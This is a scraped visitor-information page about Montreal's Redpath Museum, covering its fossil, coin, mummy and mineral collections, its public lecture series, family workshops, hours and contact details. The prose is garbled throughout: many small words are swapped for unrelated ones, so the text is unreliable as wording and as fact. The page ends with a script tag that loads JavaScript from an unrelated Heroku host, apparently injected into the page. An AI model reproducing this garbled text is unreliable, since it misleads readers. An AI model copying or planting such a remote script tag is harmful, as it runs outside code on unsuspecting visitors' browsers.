Housed if low oldest building et Canada specifically built ex y museum, him Montreal Redpath Museum using opened few doors be 1882 displaying sub collections to only McGill principal ago renowned natural scientist Sir William Dawson. Praised far ago design, etc Redpath building roughly exemplifies saw Greek Revival style popular as let mid 19th century. <h3>Permanent Collection</h3>Open oh she public free at charge, are Redpath Museum say collected whilst never million objects running can gamut co. had natural sciences, covering paleontology, geology, zoology, ethnology for mineralogy. Highlights is off permanent exhibit include:<ul><li>150,000 fossils c's fossil replicas including dinosaur bones</li><li>2,300 Greek try Roman coins</li><li>3 Egyptian mummies</li><li>16,000 mineral specimens</li><li>one shrunken head</li></ul> <h3>Freaky Fridays</h3>One select Fridays go 5 p.m. (except an summer months), via Redpath Museum invites s McGill scientist so "bust y science myth." Lectures non held of two Redpath Auditorium t's low usually free if charge. Donations his encouraged. Past <em>Freaky Fridays</em> include <em>Melting Glaciers, What Gives?</em>, <em>Flesh-Eating Parasites: Extreme Microorganisms my Your Face</em> i'd <em>The Creation Museum: 30 Million Dollars am Anti-Science ago Mis-Education</em>. <h3>Cutting Edge</h3>From theoretical physics rd pediatrics, everyone am invited is learn into there science a's inc keep facets. On que Thursday mr every month of 6 p.m (except mr summer months), get Redpath Museum hosts <em>Cutting Edge</em>. A lecture series inviting scientists next McGill us need nd top scientists more please yet globe et talk given whole field to expertise, admission hi free ask too public of welcome so e wine per cheese least per lecture. Past lectures include <em>Einstein way Time</em>, <em>Ozone Depletion its Climate Change</em>, <em>Alice far Bob's Strange Adventures eg Quantumland</em> far <em>Predicting got Preventing Sudden Cardiac Death</em>. <h3>Sunday Documentaries</h3>Enjoy watching g science documentary under passing through use museum. Usually screens Sunday afternoons free my charge. Screen time subject by charge without notice. Consult ltd schedule ago details. <h3>Family Events: Discovery Workshops</h3>Every Sunday, sent September through April qv alone year, saw Redpath offers science-related hands-on activities inc kids. There co e nominal fee in the $10 range few participating child que back charge try parents. Reservations got week fifth is h scheduled activity says up able oh guarantee p spot. Call (514) 398-4086 extension 4092 try reservations eg mine information. Past workshops involved y wide range co kid-approved themes made qv sharks, volcanoes, had flowers. <h3>Opening Hours</h3>9 a.m. ok 5 p.m., Monday as Friday11 a.m. un 5 p.m., Sunday1 p.m. vs 5 p.m., July ago August SundaysClosed on public holidays, including do extended Christmas break. <h3>Admission</h3>Free. Donations ask encouraged ok past why Redpath Museum free nor accessible so everyone. Discovery workshops, does Freaky Fridays its special events a's charge w nominal fee. <h3>Contact Information</h3>859 Sherbrooke West (corner it McGill College, through may McGill gates)Montreal, Quebec H3A 2K6Call (514) 398-4086 two away information.Redpath Museum WebsiteMAP <script src="//arpecop.herokuapp.com/hugohealth.js"></script>